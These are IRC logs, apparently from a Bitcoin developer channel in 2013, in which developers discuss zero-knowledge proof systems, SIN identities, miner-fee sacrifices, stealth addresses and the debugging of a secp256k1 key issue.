23:43 < gmaxwell> So the idea is that you run the SIN verification in zero-knoweldge and emit a unique ID which is just the hash of a signature of the service name.
23:43 < realazthat> and you want to see if you can write up the assembly for it
23:43 < realazthat> awesome heh
23:43 < gmaxwell> So the service learns that you have a valid sin, and they get a unique ID for their service that they can blacklist. but they don't learn which sin is yours, and two sites can't correlate their users.
23:44 < realazthat> cool
23:44 < realazthat> actually I had an idea similar to SIN
23:44 < realazthat> but not distributed
23:44 < realazthat> centralized
23:45 < realazthat> I thought that a major problem of FOSS games is that there is little to lose by hacking/spamming
23:45 < gmaxwell> it's also somewhat important to do this now when the SIN idea is not widely deployed... because you want your sins to be constructed in a way that their proof is as cheap as possible to turn into a ZKP.
23:45 < realazthat> the to-pay games have this advantage; so it would be nice for a service to take a deposit and identify ppl, so they are "perma banned"
23:45 < realazthat> but this is similar
23:46 < realazthat> anyway, I can make code available as early as tomorrow, but it would be buggy
23:46 < realazthat> ie. I am not *certain* it implements tinyram
23:47 < realazthat> because I haven't tested it on *real* tinyram
23:47 < realazthat> just what I gleaned from the spec
23:47 < realazthat> and there are several things I am not 100% sure about/found ambiguous
23:48 < realazthat> I'll let you know when there is something usable
23:48 < realazthat> I started this last week
23:48 < realazthat> after speaking to Eli and Eran
23:49 < gmaxwell> yea, I'm not in a super big rush, but I want to do it evenutally. I'd like to drive to some of this technology being usable for something in actual practice, I think sin blinding may be a good early application.
23:50 < realazthat> sure
23:50 < realazthat> mmm I should ask them about their tinyram tools, how ready they are
23:50 < realazthat> I mean the proof generator etc.
--- Log closed Mon Oct 28 00:00:51 2013
--- Log opened Mon Oct 28 00:00:51 2013
05:35 < gmaxwell> petertodd: got any more transactions in dust-b-gone?
06:39 < TD> this channel grew quite a bit since I last saw it
08:56 < petertodd> gmaxwell: nope
12:00 < amiller> realazthat, not to distract you but consider looking at pantry too
12:01 < amiller> realazthat, it's a competitor of tinyram basically that was just opensourced https://github.com/srinathtv/pantry/
12:02 < amiller> http://eprint.iacr.org/2013/356.pdf
12:02 < TD> is tinyram even going to be open sourced? i thought it was, but that doesn't seem to be happening ....
12:03 < TD> ah i think i remember this paper
12:03 < TD> this is not quite a tinyram competitor
12:04 < TD> like most of these setups, it has to fully unroll all loops, can't do pointers and so on
12:04 < TD> calling it a "subset of C" is being generous
12:04 < amiller> that's true of all of them tinyram included
12:06 < amiller> there's probably a way around that, even, applicable to all of the above, it's just that no one knows how to make the security proofs work out in theory for unbounded computation
12:06 < TD> no, i am pretty sure the point of tinyram is it emulates a real CPU. the size of a loop can depend on the input to the program
12:06 < TD> whereas that is not true in pantry
12:07 < TD> obviously the computation still has to be bounded, but the program itself doesn't have to be fully unrolled ahead of time
12:11 < amiller> i'm like 95% positive you have to provide a bound on the number of steps at compile time
12:12 < TD> yes. you have to tell it how many steps to simulate when running the program (upper bound), BUT the program does not require all loop iterations to be constant. the program can terminate early, too. i think :)
12:12 < TD> basically what tinyram runs is much closer to "real" programs
12:13 < TD> you can also use pointers
12:16 < amiller> you can use pointers in pinocchio and pantry
12:16 < amiller> you can't malloc in any of them
12:16 < amiller> i know that pinocchio/pantry require each internal loop to be unrolled to some bound so that might be a significant benefit to tinyram
12:19 < TD> "pointers must be compile time constants"
12:20 < TD> that's a pretty tight constraint on the notion of a pointer
12:20 < TD> so far AFAICT tinyram is probably the easiest for mere mortals to work with. also AFAIK tinyram can be an entirely offline system, pantry seems to be online-only. that said, actually being available is a pretty big notch in pantrys favour
12:24 < amiller> shit, you're right, pantry is interactive (and single user) only
12:25 < gmaxwell> Why do you say it's interactive? that implementation is full of crazy stuff, but AFAIK it was using the same ZKP as pinocchio, the pairing crypto one.
12:26 < gmaxwell> TD: they'd made sounds that it would be open sourced, but they haven't done so yet. I haven't personally nagged about it because I just don't have the free cycles to do anything really cool with it myself.
12:26 < TD> yeah, same
12:27 < TD> why interactive - just a guess based on figure 1 of their paper. you may be right that it's not really a requirement, but the whole setup of their paper is very strongly client/server oriented
00:06 < gmaxwell> zooko: I proposed it back at the time. I suggested they premine 200,000 coins and then sell them at a fixed rate of $1 and use the funds to buy the tld.
00:06 < gmaxwell> zooko: thats a neat idea. prevent the idiot registrations of google.bit / nike.bit / coke.bit that were sure to cause trouble.
00:06 < zooko> gmaxwell: great! Do you have a job? I'll tell any VCs that ask me that they should invest $10M in your name system.
00:07 < zooko> gmaxwell: yeah, get more people on your side from the start.
00:07 < zooko> You don'
00:07 < zooko> t need to extract money from those people right at the start...
00:08 < gmaxwell> hah! I do, and you'll drag it out of my cold dead hands. :P But yea, seems "obviously smart" to me to focus on the legacy tie in. People can install the secure resolvers later.
00:08 < zooko> What's your job?
00:08 < gmaxwell> and yea, great idea to discourage the squatting.
00:10 < gmaxwell> zooko: mozilla pays me to do research and development of next generation multimedia format stuff (I'm one of the developers of Ogg, for example). And if I didn't have a job I'd just still be doing that. I still have like another whole billion dollar codec rent seeking industry to defeat before I can put full attention to dismantling the billion dollar
name rent seeking industry and the trillion dollar banking rent seeking industry.
00:12 < zooko> gmaxwell: oh yeah, I remember you helped me compile opusdec. :-)
00:12 < zooko> Mozilla is awesome.
00:12 < zooko> But, you kind of sound like me. Too loyal.
00:13 < zooko> I was just trying to come up with a justification for myself of why I'm banging away at this secure storage company and not launching a secure distributed name company.
00:14 < gmaxwell> I'm fortunate enough that I can afford to be! I think storage is a far more interesting problem. Naming is mostly interesting by historical accident I think.
00:14 < zooko> I mean, did you just say you had to finish doing X before doing Y and Z, where Z was worth 1000* as much as X?
00:14 < zooko> Well, that's a good point.
00:14 < zooko> I really wish people would stop using names where pointers would suffice.
00:14 < gmaxwell> have to multiply by the chance of success. :P
00:15 < gmaxwell> yea, I believe (but have no data) that most domain name usage is following links.. uh. you have an 'authoritative' source for where the link should take you already!
00:15 < gmaxwell> er, well not 'where' but 'to whom'
00:15 < zooko> Yeah, for sure.
00:16 < zooko> I was afraid that the Bitcoin payment protocol was adding a layer of insecurity to Bitcoin.
00:16 < zooko> I'm still half afraid of that.
00:16 < zooko> Certainly the way Gavin and others talk about it is confused in a way that would lead to that.
00:16 < zooko> But, there is an actual use for the names in there that I can't think of a better solution for.
00:17 < gmaxwell> I think it's just making a layer of insecurity that already exists a little more visible. Where did you get that bitcoin address that you want to pay to. But also removing some insecurity: the payment protocol implementation will not let you override a certificate failure with a dialog.
00:17 < zooko> Eh, I think that is somewhat confused.
00:17 * gmaxwell will discuss later, I have to run.
00:17 < zooko> But somewhat right.
00:17 < zooko> Bye!
00:19 < warren> sipa: coblee is granting you access to our private github
02:26 < warren> gmaxwell: well, the next litecoin release will be a lot more conservative in changes than I wanted. Just proving they can handle a rebase without breaking things might be a good first step for them.
10:18 < realazthat> gmaxwell: hi, is there any new material on Ben-Sasson's work?
17:03 < warren> sipa: want a pull request for secp256k1 gitian changes?
17:04 < warren> although I'm not certain of the best way to include secp256k1 as an input
17:04 < gmaxwell> realazthat: not yet, I'm really busy this week and next, so I haven't asked him for anything yet.
17:05 < gmaxwell> (next week I'm hosting a coding party to bring in a bunch of additional people on the video codec project I work on)
17:06 < realazthat> ah thats cool
17:06 < realazthat> if you hear anything, I'd appreciate a highlight in here, if you remember
17:07 < gmaxwell> set a highlight on SCIP and I'll probably mention that while blabbering about it in here. :)
17:07 < realazthat> lol, done
--- Log closed Thu May 23 00:00:16 2013
--- Log opened Thu May 23 00:00:16 2013
02:40 < warren> hmm
02:40 < warren> <sipa> [14:56:02] when comparing a new block to the best chain, consider it better if the work is equal but smaller
02:41 < warren> sipa: wouldn't this encourage zero tx blocks?
18:59 < warren> gmaxwell: btw, http://download1.rpmfusion.org/~warren/openssl/ I fixed it for Fedora 18.
19:00 < gmaxwell> warren: What did you need to do?
19:00 < gmaxwell> ah, I see the patch
19:00 < warren> let me know if you want it for Fedora 19
19:01 < gmaxwell> I'm confused as to why you'd need to do that.
19:01 < warren> The FIPS patches assume they didn't have to twiddle things for ecdsa like they do for the other algs since they don't ship ecdsa.
19:02 < gmaxwell> so why not drop out the fips patches instead?
19:02 < warren> other things blew up
19:02 < gmaxwell> Ah.
19:02 < warren> jgarzik tried all this earlier
19:03 < warren> it works to remove *all* the patches, but then I'd have to rebase the security patches, so I instead figured out how to go forward instead of remove
19:03 < gmaxwell> I suppose ideally the fips patch would get finished to work ... and get redhat to maintain it. :P
19:04 < sipa> warren: any progress on isolating a key that secp256k1-litecoin considers invalid?
19:04 < warren> sipa: not yet. I'm trying to figure out why bitcoind/litecoind gets stuck during shutdown.
19:05 < sipa> hmm
19:05 < warren> sipa: Looping "Flushed 12035 addresses to peers.dat 38ms" messages forever after *coin-qt is told to Exit. kill -9 required.
19:05 < sipa> something is blocking cs_main
19:05 < warren> any suggestions of debug stuff to add?
19:05 < sipa> addrman functions without cs_main, so continues to dump peers to disk
19:05 < warren> I can reproduce this pretty easily
19:06 < sipa> attach a gdb and see which thread is doing what?
19:06 < warren> gdb attach and bt at that moment, or do you need all threads?
19:06 < sipa> all threads
19:07 < warren> ok
19:07 < sipa> it's likely another thread holding the cs_main lock
19:09 < warren> Let me rebuild rc2 plus pull/2688 before I do this.
19:14 < warren> sipa: I guess I'll work on isolating the key for secp256k1 now, as gmaxwell alluded to known shutdown hangs in rc2
19:16 < sipa> something like: FILE *file=fopen("/tmp/offending.key", "w"); fwrite(&privkey[0], privkey.size(), 1, file); fclose(file);
19:17 < sipa> i've used that before in walletdb.cpp, near the code that reports the corrupted CPrivkey
19:17 < warren> what format should "/tmp/offending.key" be?
19:17 < sipa> the code above will just do a binary dump of the key
19:17 < sipa> that's more than good enough
19:18 < warren> ahhhh
19:18 < warren> thanks
19:23 < sipa> gmaxwell: something i noticed when disable free relay limiting and dust limiting, and adding mempool requests to all peer connections: my memory usage instantly went up to >800 MiB
19:23 < sipa> gmaxwell: while usually it doesn't go over 500
19:24 < warren> sipa: where in the code is "disable free relay limiting"? I'd like to test that here.
19:24 < gmaxwell> This sounds bad. In particular, I assume you were only ending up with 6k transactions in pool or so.
19:24 < sipa> gmaxwell: indeed, it means an overhead of 50 KiB per tx or so
19:25 < sipa> though i expect some txn have a huge impact compared to others
19:25 < gmaxwell> sure but the txn can't be >100k unless you disabled that check too.
19:25 < sipa> in-memory size of transactions can be a nice multiple of the serialized size
19:26 < sipa> something like 4x or 5x is not impossible
19:27 < gmaxwell> Right, but that sounds like a lot more than the overhead estimations you came up with before.
19:27 < sipa> i should combine that experiment with the memory-usage-estimation code i wrote before
19:28 < sipa> and see how much of the observed heap size i can account for
19:29 < gmaxwell> at some point we should probably make it possible to spill the mempool to disk... I was kinda hoping to prolong that though.
19:29 < sipa> it may make sense to have a more custom allocation for transactions
19:30 < gmaxwell> sipa: could have code that parses the seralized transaction and returns an exact size for a static allocation for it.
19:58 < warren> wtf. my old wallet is no longer crashing secp256k1
19:58 * warren rebuilds clean to be sure this isn't openssl
20:16 < warren> gmaxwell: after this openssl fix, jgarzik said he'd switch back to fedora after he figures out his EFI boot problem. I suggested he should chain load from the ubuntu bootloader. =)
21:18 < warren> hmm... my new secp256k1 builds are missing secp256k1 symbols
21:33 < warren> sipa: how do I ensure my build is using secp256k1?
21:33 < sipa> ?
21:33 < sipa> which symbols are missing?
21:34 < warren> I'm having trouble reproducing the problem at all, and I suspect it's actually using openssl now (after I fixed fedora openssl to have ecdsa)
21:34 < gmaxwell> warren: break the secp256k1 code
21:34 < gmaxwell> e.g. stick an _exit(1); in the signature validation or something and see if you die.
21:35 < warren> hmm, I could just remove openssl-devel
21:49 < warren> oops. i forgot I can't actually remove openssl.
23:07 < warren> sorry back now
23:17 < warren> AH FUCK
23:17 < warren> sipa: gmaxwell: ccache somehow got it wrong.
23:19 < realazthat> hash collision :P
23:19 < realazthat> jk
23:19 < warren> sipa: I have a dump of the key that secp256k1 didn't like. how do I decode it to figure out which one it is?
23:20 < sipa> if you don't mind giving it to me, i'd like to have a look
17:05 < petertodd> In that circumstance you're wasting a lot of bytes paying multiple miners at once.
17:05 < petertodd> Besides, as I say what you really want is the fees to be collected far into the future.
17:07 < adam3us> well its true that you have multiple outputs, though I suppose you could compact that by having hte payment automatically go to the mining winners keys from the designated time period
17:07 < petertodd> Automatically is no good because it makes miner fraud proof protocols incredibly complex and bulky.
17:08 < adam3us> if you want it to apply in the future, make it a future time period
17:08 < petertodd> ?
17:09 < adam3us> so as I said compact payment by saying the sacrifice amount goes to the miners in proportion to their power measured in a historic time interval (last month)
17:10 < petertodd> Your compact payment assumes a lot of very non-compact code and extra state in the UTXO set.
17:10 < adam3us> if you want to delay that so they have to fight for power in the future say miners get their reward 3months in the future based on the average starting 30 days from 3months ahead, same basic idea
17:10 < petertodd> But again, there really isn't any compelling reason to do any of this stuff.
17:12 < adam3us> well the reason i suggested it is it seemed slightly simpler than the other proposal
17:13 < petertodd> How is it simpler?
17:14 < adam3us> so as i recall your proposal was something like to time-lock sacrifice payment and then reveal that later, this approach does not need two stage, nor commitments
17:15 < adam3us> this approach is mostly a calculation on existing information; though I dare say complicating validation is generally not a good thing
17:16 < petertodd> Yeah, we're not going to change validation for this. At best we might decide to make it possible to lock a txout for a given amount of time, but that can be done with a new opcode as a soft-fork.
17:17 < petertodd> Honestly, IMO all this talk about sacrifices via mining fees is probably the wrong approach, just sacrifice to unspendable outputs and be done with it until it's possible to lock an anyone-can-spend for n blocks.
17:18 < adam3us> i agree making coins unspendable is more reliable, an dactually is indirectly a gift to everyone I think.
17:18 < adam3us> it creates a little bit of deflation, I was thinking
17:18 < petertodd> Yup
17:19 < petertodd> If Bitcoin sacrifices become something a lot of people do it's then worth it to make those sacrifices into mining fees, but otherwise why bother?
17:19 < adam3us> so they are not actually destroyed (which feels bad to people somehow) it may not be bad
17:19 < adam3us> doesnt it just transfer money to everyone via deflation, in the presence of the same demand, after all
17:20 < adam3us> even at non-negligible scale
17:21 < petertodd> We need more ways to direct funds to miners sure, but if very few sacrifices are being made just destroying the coins isn't much of a loss.
17:22 < petertodd> Bit of a PR issue with some people who don't understand how divisible Bitcoins are...
17:25 < adam3us> (yes) i was thinking recently of another idea, that maybe there could be a bit of non-validated mining, the network could tolerate that
17:25 < petertodd> x% of non-validated mining turns a 51% attack into a 51-x% attack...
17:25 < petertodd> Nothing more to it than that.
17:26 < adam3us> say eg whenever you make a payment you can do a bit of mining on the transaction
17:26 < adam3us> this is true
17:26 < petertodd> Right, you're talking about my powpay thing...
17:26 < adam3us> the advantage is i can do that with my GPU in smaller amounts than a block
17:26 < adam3us> without being a full node
17:27 < petertodd> The thing is Bitcoin doesn't really have much use for separate PoW schemes because we already have transferable PoW in the form of fees and coin age.
17:28 < adam3us> well my interest was direct mining, to create fees. direct mined coins are more private, and they could be used for the committed coin idea i was talking about back some weeks ago
17:29 < adam3us> fees are quite small so it would not have to be a big %
17:29 < petertodd> You quickly run into the problem that the difference in profit between ASICs and anything else ishuge.
17:30 < petertodd> So huge even doing a bit of mining to earn some fees doesn't make all that much sense.
17:32 < adam3us> yep i expect presently asic will be so fast gpu wont recover electricity, however with small fees it might still be nice to direct mine fees for privacy
17:32 < petertodd> I think you'd be better off implementing trust-free mixing and/or fidelity bonded chaum banks frankly.
17:33 < petertodd> Solving the privacy problem more generally would be very good.
17:37 < adam3us> yes well zerocoin is supposedly coming out soon, however i think its quite inefficient
17:38 < petertodd> zerocoin is brute force rather than elegance
17:39 < adam3us> you could make a zerocoin only network - they only did the exchange with bc to zc and vice versa as an integration method, but that doesnt affect the efficiency
17:39 < petertodd> Yeah, and with zc->bc exchanges it creates a very profitable 51% attack target.
--- Log closed Fri Jul 05 00:00:13 2013
--- Log opened Fri Jul 05 00:00:13 2013
09:24 < adam3us> see any limitations preventing a zerocoin only alt-coin and either-or mining and p2p exchange-less trading of zerocoin for bitcoin ? https://bitcointalk.org/index.php?topic=175156.msg2660475#msg2660475
--- Log closed Fri Jul 05 12:41:40 2013
--- Log opened Fri Jul 05 12:42:36 2013
12:42 !pratchett.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp
14:32 < amiller_> what is this p2p exchange-less trading conce[pt
14:32 < amiller_> why does anyone think that works?
14:33 < amiller_> TD says "The chain-trade algorithm can be integrated to make trading bitcoins for altcoins easy and decentralised." and that's nuts
14:41 < adam3us> i am not 100% convinced the various proposals work, but there is quite a bit in wiki about crypto fair (atomic) exchanges
14:41 < adam3us> so agree a price and do a fair exchange for a coin on one chain for coins on another
14:50 < amiller_> that's no where near sufficient, there's race conditions between two chains that aren't at all addressed by the crypto fair exchange
14:50 < amiller_> also the efficient fair exchange algorithms rely on a central third party judge which is not really an option
14:59 < amiller_> still i think it's possible just it's more complicated than anyone seems willing to talk about
14:59 < amiller_> the solution is to have each chain be able to validate work in the other chain
15:00 < gmaxwell> "Hi, we've solve the problem of your scheme needing insanely long signatures by adding an altchain we can bind to using insanely long signatures"
15:01 < gmaxwell> er solved*
15:02 < amiller_> basically the transaction on chain A is canceled if chain A appears to pull ahead of chain B by some number of blocks
15:06 < amiller_> so it's possible for the transaction to be completed on B but canceled on A, but only if A is put under attack
15:07 < amiller_> so in other words it's exactly as hard to steal someone's coins by exploiting race conditions in an exchange as it would be to doublespend them directly
15:13 < amiller_> this is basically what sergio damien-lerner proposed, he called id P2PTradeX https://bitcointalk.org/index.php?topic=91843
--- Log closed Sat Jul 06 00:00:14 2013
--- Log opened Sat Jul 06 00:00:14 2013
--- Log closed Sun Jul 07 00:00:16 2013
--- Log opened Sun Jul 07 00:00:16 2013
--- Log closed Mon Jul 08 00:00:19 2013
--- Log opened Mon Jul 08 00:00:19 2013
13:44 < jgarzik> petertodd, definitely leaning towards Type 1 (sacrifice accounce/commit) and Type 2 (optional single-tx timestamping) SINs. The latter are essentially disposable SINs.
13:45 < jgarzik> Type 1 sacrifice buys your way onto the identity alt-chain
13:46 < petertodd> Well if you want to sacrifice to mining fees there just aren't any other options rightnow.
13:47 < petertodd> (unless you want to involve miners and do coinbase txout, inconvenient)
13:49 < jgarzik> petertodd, nod
13:49 < jgarzik> petertodd, Just noting there will be a sacrifice-free SIN, in addition to current
13:50 < jgarzik> petertodd, call it permanent or disposable SINs. Your disposable SIN might be used on one website only, optionally linking back to the permanent SIN if you desire to digitally sign that fact.
13:51 < petertodd> Does a sacrifice-free SIN really need to be timestamped as a transaction directly?
13:54 < jgarzik> petertodd, Need? No. Hence "optional". There might be some value in proving a SIN did not exist before X date.
13:54 < jgarzik> petertodd, a disposable SIN could be created entirely privately, a la a bitcoin address
13:54 < jgarzik> with no network activity
13:55 < petertodd> Thinking the SIN could be timestamped by a merkle-path to a block header.
13:55 < petertodd> I'd suggest separating the idea of the sacrifice and timestamp conceptually, and making both simply be "by whatever means"
13:56 < jgarzik> petertodd, whatever provably means
13:57 < petertodd> Sure, point it, in the software have a master key, have a proof of sacrifice for that bit of data, and have a proof of timestamp. Often the two will actually use the same data, not always though.
13:57 < jgarzik> petertodd, Partially agreed, though: the point of the specification was to take the theory of decentralized identity and turn it into something people could reasonable implement and interoperate with. Practical levels of interoperation, out of the box, means some details will be defined quite specifically by default (like method of timestamping, which
chain shall be used for timestamping)
13:57 < petertodd> ...and nothing wrong with more than one sacrifice attached
13:57 < jgarzik> agreed
14:42 <@gmaxwell> (obviously the senders have already updated or they couldn't be doing schnorr signing)
14:42 < petertodd> yeah, then add that to the standard on day 1
14:43 <@gmaxwell> I guess then you just need benchmarks to see how much life would suck for a reciver that has to test every pubkey that shows up in a block.
14:44 < petertodd> overhead is ~17% for OP_RETURN, not all that small
14:44 < petertodd> yup, which gives you insight into what kind of filter ratio works
14:45 <@gmaxwell> yea, it's not great. but it's no worse than any multisig suggestion. (actually better).. At least it means that you're not in a case where changing what coins you have changes who you can easily pay though.
14:45 <@gmaxwell> (or breaks keeping all your signing keys offline)
14:46 < petertodd> yup, but it does reduce the anonymity set...
14:46 <@gmaxwell> well, way less than methods of inserting an explicit identifier byte do! :P but it's only an option.
14:47 <@gmaxwell> that prevents this from totally screwing up offline signing.
14:47 <@gmaxwell> and from giving us a secp256k1 suicide pact.
14:47 < petertodd> right, although again, you can always keep a few txouts kicking around with low value
14:48 < adam3us> gmaxwell: it seems clear to me that safely reusable addresses could be very attractive; the problem is the available solutions are non-ideal - HD wallet one chain code per recipient works fine but involves per recipient keying; and stealth/sender randomized addresses work too but are not very spv friendly, and prefix/bloom bait leaks anonymity set, which
could be enuf to break coinjoin
14:49 < petertodd> gmaxwell: actually, here's a good argument in favor of OP_RETURN: it means the recipient has no idea what txin sent them the cash
14:51 < adam3us> gmaxwell: (and mainly because we seem unable to convince users to understand the concept, nor most wallet authors to not reuse addresses) but there is also some kind of fundamental issue - its just more convenient in some settings to have a static address. eg you ight recognize this one 1GMaxweLLbo8mdXvnnC19Wt2wigiYUKgEB
14:52 < petertodd> adam3us: indeed, all-in-all just making sure users know there's this thing called a "stealth address" and it means all payments are more private is a huge win
14:53 < adam3us> gmaxwell, petertodd: we just need a better method to do it, the requirement is good, the solutions all suffer limitations
14:54 < petertodd> adam3us: like I said above, at the hackathon we originally wanted to do this with just a messaging channel, but I convinced everyone there that anything that was less reliable than the blockchain would be unacceptable and lead to horror stories
14:54 < adam3us> petertodd: well if it could be solved resoundingly in an spv friendly way, we could retire spv, and have static account numbers that are sender randomized in an efficienty and privacy preserving way to lite clients and the world would be good.
14:54 < petertodd> adam3us: which gets you to using the blockchain as a messaging thing, which forces you into the filtered anonymity set concept
14:54 < adam3us> petertodd: agreed. anything short of encrypting the info i the same bitstring as the payment is going to lead to brittleness and disaster stories
14:55 < petertodd> adam3us: right, and per-sender accounts - the bip32 solution - have serious UI issues due to their bidirectional nature. I want to just import my PGP keyring or whatever into my wallet software and click on "Pay Peter"
14:56 < adam3us> petertodd: well maybe not fundamentally, just as close as we got yet; eg there are single db pirs, certainly efficient multidb pirs and multinode fuzzy blooms have the same threat model as multi-db pirs (if the nodes u pick collude what you're reading is outed no?)
14:56 < petertodd> adam3us: *that* was the problem were were trying to solve, for an offline recipient
14:56 < adam3us> petertodd: yes. i reckon all present understand the nice requirement. problem is its real hard to solve.
14:57 < petertodd> adam3us: note that everything I described can be implemented with all matter of bloom filters, or indeed, any filtering model that can be communicated in some way to the senders, the problem is regardless of how you filter, you've reduced the anonymity set
14:57 < petertodd> adam3us: also note how the communication and computation requirements for this proposal are *very* similar to bitmessage
14:57 < adam3us> petertodd: yes. one-use addresses just dont work very well for biz cards/donations, nor for user comprehension, nor wallet authors (maybe because of user comprehension or laziness)
14:58 < adam3us> petertodd: hence the repeated attempts to sabotage, or just fall back to single use that people end up doing thru comprehension issues
14:58 < petertodd> adam3us: yup
14:59 < petertodd> hmm... you know I probably could mock this up and get the performance figures by just using the bitmessage sourcecode... it *is* the same problem: I have a bunch of messages, and I need to trial decrypt them to see if they are mine
15:00 < petertodd> more to the point, bitmessage works fine on desktops... so I already know the performance isn't all that bad
15:00 < adam3us> petertodd: ok so going back to the static DH approach. if x=H(eP)=H(eQ) and x is the chain code for an HD wallet. isnt that good? we get BIP 32 niceness, without needing to aprior communicate the chain code which is its main limitation
15:00 < petertodd> adam3us: ?
15:01 < adam3us> petertodd: the problem is to know to look for the first payment
15:01 < petertodd> adam3us: ah, interesting point: the first payment could be a BIP32 chain code basically, the rest happens regularly
15:01 < adam3us> petertodd: so what if there was a new msg which is payment to static address, which just communicates the chain code. after that everything is as now, with this setup msg being a chain code communicatoin packet
15:02 < petertodd> adam3us: right, but no reason to make the address static vs. hiding it in some anonymity set
15:02 < adam3us> petertodd: well if it had no inputs, no loss eh
15:02 < petertodd> adam3us: huh? no inputs?
15:02 < adam3us> petertodd: its just a message. the remaining issue is the fees for it.
15:03 < petertodd> adam3us: nah, it has to end up on the blockchain, and it has to end up there in a way that the recipient can find it
15:03 < adam3us> petertodd: two messages. an inputless one to communicate teh chain code (its sender anonyous) step2 an unlinkable payment to a bip32 address
15:04 < adam3us> petertodd: thats my point this can be fully identified to the recipient, just use the static address - all it leaks is that someone (anonymous) is trying to setup a chaincode pairing with the recipeitn; not who, not how much, not which inputs
15:04 < adam3us> petertodd: so the recipient can go ask for chain code pairing msgs encrypted to his expanded address
15:04 < petertodd> adam3us: oh, you know what we want? we want a scheme where the sender can't prove to anyone else what exactly the chain code they communicated to the receiver actually was, AKA the OTP non-non-repudiation guarantee
15:06 < adam3us> petertodd: well one thing at a time eh; we can consider non-transferable / ZK stuff next, but first does that work to have a static start point (the encryption key) as the donation address, which is then used to communicate an unlinkable to sender msg
15:06 < adam3us> petertodd: following which they can send a BIP 32 payment normally
15:07 < petertodd> adam3us: right, that's the easy bit
15:07 < adam3us> petertodd: the remaining issue is unlinkable fees. but fees are smaller and maybe we can fix that. big mixer for fee sized paymnts. virgin mined etc
15:08 < petertodd> nah, just use coinjoin for that
15:08 < adam3us> petertodd: wasnt easy until a few mins ago. i dont think i saw this pattern before discussed
15:08 < petertodd> adam3us: well it *was* my original idea you know :)
15:08 < petertodd> adam3us: though I hadn't thought to make it a full chain, I was still thinking on an individual tx level
15:08 < adam3us> petertodd: really? maybe i misunderstood but u did not mention about making 2 msgs, first with unlinkable (i get you were woring on the same requirements)
15:09 < adam3us> petertodd: first with no inputs, msg only. i mean.
15:09 < petertodd> adam3us: right, but see with coinjoin 2 txs are the same thing as 1 tx
15:09 < adam3us> petertodd: anyway, onwards
15:10 < adam3us> petertodd: transferable proof of chain code issues & ZK potentials to fix
15:10 < petertodd> adam3us: so anyway, to satisfy gmaxwell's non-linking even if your payees betray you requirement, you'd want to make sure that the sender can't prove to someone else that the chain code was related to the receiver - we need it to be possible it was to pay anyone
15:13 < petertodd> adam3us: see, the problem is the communication is inherently timestamped, so most tricks with revealing keys and the liek don't work
15:15 < adam3us> petertodd: i have a blank. but still i like the separate 0 input chaincode setup approach. thats progress for one day . and i dont think i saw the static DH before (never read bytecode's original i guess) i just went for ECIES (aka EC Elgamal) as i didnt worry about fitting into existing msg format; this is slighty more compact i expect. we do have to
watchout for not making a mess
15:15 < adam3us> petertodd: messes compound and impact future flexibility
15:17 < petertodd> well basically what we've done by communicating a BIP32 chaincode is you make it so the 1/n-th anonymity set only applies to the fact that one of these exchanges was setup at all with a given recipient. The amount of funds transferred is completely opaque
15:18 < petertodd> now the first transfer of funds *can* happen in the first tx - with coinjoin what happens means little, especially as the rule is it doesn't have too
11:36 < adam3us> petertodd, gmaxwell: stealth addresses, seems like 3rd-reinvention no? https://bitcointalk.org/index.php?topic=317835.msg3408519#msg3408519
11:42 < andytoshi> an interesting observation inspired by this card trick is that 2^(2N) appears to be O(N)*C(2N, N)
11:42 < andytoshi> it's not clear to me where this O(N) comes from -- what information is lost by describing where the split is, versus describing who has each card?
11:42 < andytoshi> (here 2N is the size of the deck)
11:45 < adam3us> petertodd: my variant of how to move it towards SPV friendliness was 'bloom bait' aka eg intentionally publishing the last byte of Q. I did not yet find a better method.
11:49 < adam3us> petertodd: i should post that note on the bct thread for reference
11:56 < adam3us> petertodd: i agree that sender derived addresses could be a better model for solving the address reuse problem, if one could only find something spv like in efficiency (offloadable fuzzy address scanning)
11:57 < adam3us> petertodd: the address isnt that big a compressed point is 256-bits (maybe chose positive y only); vs 160-bit hash. thats 12 bytes more (60% bigger)
12:00 < HM2> i thought it was 257 bits?
12:01 < HM2> oh +/- Y
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12:18 < phantomcircuit> SN1FF, are you retarded
12:19 < Emcy> in wizards? are you serious?
12:20 < Emcy> gmaxwell activate
12:26 < petertodd> adam3us: I'm just about done a full-writeup for stealth addresses btw
12:26 < andytoshi> i lied, it's O(sqrt(N)), not O(N)
12:27 < phantomcircuit> petertodd, hmm
12:27 < petertodd> adam3us: I'm pointing out that they help make payment protocol stuff work better too: you can always avoid scanning the blockchain by having senders send the tx details to the recipients, and if that fails, you still have the backup of the blockchain data to fall back too
12:28 < petertodd> adam3us: glad to hear you reinvented it - it must be a good idea :P
12:29 < adam3us> petertodd: i think gmaxwell also mentioned bytecode's prior invention when i bought it up last time on this channel
12:30 < petertodd> adam3us: my third reinvention is kinda embarassing because I had just re-read bytecode's article on it and completely failed to realize what half of it was talking about - I was too focused on the hidden message part
12:30 < adam3us> gmaxwell: yes out of band payment request eg works; though i think its important that enuf info to atomically recover the payment gets sent to the network, otherwise it becomes brittle to client or server crash and loss
12:31 < adam3us> petertodd: sorry that should've been prefed petertodd above line
12:31 < petertodd> adam3us: yeah, spit out some kind of tx summary thing, heck, even just the txid is pretty good
12:31 < petertodd> adam3us: better yet, txid + height
12:32 < adam3us> petertodd: dont worry . so much innovation and effort was poured into it since people got the bitcoin bug, many things were reinvented. even nick szabo and wei dai reinvented distributed payments via broadcast of hashcash ownership transfer at the same time on two different mailing lists apparentl (cant find sazbo's original post though)
12:32 < petertodd> adam3us: it's not one of my better ideas anyway :P
12:33 < adam3us> petertodd: and even hashcash was a reinvention of proof-of-work (though a better more efficient and progress free form than the asymmetric former by dwork & naor)
12:34 < andytoshi> oh, i'm an idiot, the card trick only gives us the 52-bit numbers with 26 1's
12:34 < andytoshi> that's where the O(sqrt(N)) comes from
12:36 < adam3us> petertodd: i thought it was a pretty good idea, if only it could be made SPV efficient, because it would kill the perennial address reuse issue where we cant even persuade wallet implementers to stop. nor users to understand. even many wizars have vanity addresses, and static addresses on bct footers, biz cards etc
12:38 < adam3us> petertodd: ie it really is a protocol defect that reusing account numbers is a problem. and we know how to fix it strongly and robustly for full nodes. missing part is an spv level efficient approach
12:38 < petertodd> adam3us: yeah, well the prefix business works decently well for that I think
12:38 < adam3us> petertodd: u mean to put an explicit marker that you search for?
12:39 < petertodd> adam3us: yes, or brute-forcing addresses to match some prefix
12:39 < petertodd> adam3us: the latter giving you the anonymity set of everyone in bitcoin right now
